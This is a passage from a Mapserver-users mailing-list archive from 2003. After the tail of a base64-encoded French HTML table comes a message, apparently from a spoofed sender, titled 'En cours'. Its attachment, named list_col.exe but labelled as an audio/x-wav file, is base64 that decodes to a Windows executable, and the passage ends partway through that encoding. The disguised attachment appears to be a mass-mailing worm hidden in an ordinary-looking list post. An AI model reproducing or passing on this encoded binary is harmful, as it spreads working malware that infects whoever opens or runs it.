b3I9JyM5OUNDRkYnPjA8L3RkPjwvdHI+DQoNCjx0cj48dGQgd2lkdGg9JzEwMCcgYmdjb2xv cj0nIzk5Q0NGRic+U0NIPC90ZD48dGQgd2lkdGg9JzQ1MCcgYmdjb2xvcj0nIzk5Q0NGRic+ U0NIRU1BUyBMT0NBVVg8L3RkPjx0ZCB3aWR0aD0nMTAwJyBiZ2NvbG9yPScjOTlDQ0ZGJz4w PC90ZD48L3RyPg0KDQo8dHI+PHRkIHdpZHRoPScxMDAnIGJnY29sb3I9JyM5OUNDRkYnPlNF RDwvdGQ+PHRkIHdpZHRoPSc0NTAnIGJnY29sb3I9JyM5OUNDRkYnPlNFRElNRU5UT0xPR0lF PC90ZD48dGQgd2lkdGg9JzEwMCcgYmdjb2xvcj0nIzk5Q0NGRic+Mjk8L3RkPjwvdHI+DQoN Cjx0cj48dGQgd2lkdGg9JzEwMCcgYmdjb2xvcj0nIzk5Q0NGRic+U0VMPC90ZD48dGQgd2lk dGg9JzQ1MCcgYmdjb2xvcj0nIzk5Q0NGRic+U0VMUyBNSU5FUkFVWCBFTEVNRU5UUyBOVVRS SVRJRlM8L3RkPjx0ZCB3aWR0aD0nMTAwJyBiZ2NvbG9yPScjOTlDQ0ZGJz42PC90ZD48L3Ry Pg0KDQo8dHI+PHRkIHdpZHRoPScxMDAnIGJnY29sb3I9JyM5OUNDRkYnPlNUQTwvdGQ+PHRk IHdpZHRoPSc0NTAnIGJnY29sb3I9JyM5OUNDRkYnPlNUQVRJU1RJUVVFUyBESVZFUlNFUyBF VCBDQVJURVM8L3RkPjx0ZCB3aWR0aD0nMTAwJyBiZ2NvbG9yPScjOTlDQ0ZGJz4wPC90ZD48 L3RyPg0KDQo8dHI+PHRkIHdpZHRoPScxMDAnIGJnY29sb3I9JyM5OUNDRkYnPlRPVTwvdGQ+ PHRkIHdpZHRoPSc0NTAnIGJnY29sb3I9JyM5OUNDRkYnPlRPVVJJU01FIEFDVElWSVRFUyBS RUNSRUFUSVZFUzwvdGQ+PHRkIHdpZHRoPScxMDAnIGJnY29sb3I9JyM5OUNDRkYnPjk8L3Rk PjwvdHI+DQoNCjx0cj48dGQgd2lkdGg9JzEwMCcgYmdjb2xvcj0nIzk5Q0NGRic+WkhVPC90 ZD48dGQgd2lkdGg9JzQ1MCcgYmdjb2xvcj0nIzk5Q0NGRic+Wk9ORVMgSFVNSURFUyBHRU5F UkFMSVRFUzwvdGQ+PHRkIHdpZHRoPScxMDAnIGJnY29sb3I9JyM5OUNDRkYnPjA8L3RkPjwv dHI+DQoNCjwvdGFibGU+PC9ib2R5PjwvaHRtbD4NCj== --Qes08LQQ3jP791t201wbsDH9v6af44I-- From woodbri at swoodbridge.com Tue Jan 7 02:15:04 2003 From: woodbri at swoodbridge.com (woodbri) Date: Tue, 7 Jan 2003 11:15:04 +0100 (added by postmaster@wanadoo.fr) Subject: [Mapserver-users] En cours Message-ID: <3E075B1B005A997F@mel-rta7.wanadoo.fr> (added by postmaster@wanadoo.fr) --TxbH5Q2uo0kyt54838 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --TxbH5Q2uo0kyt54838 Content-Type: audio/x-wav; name=list_col.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 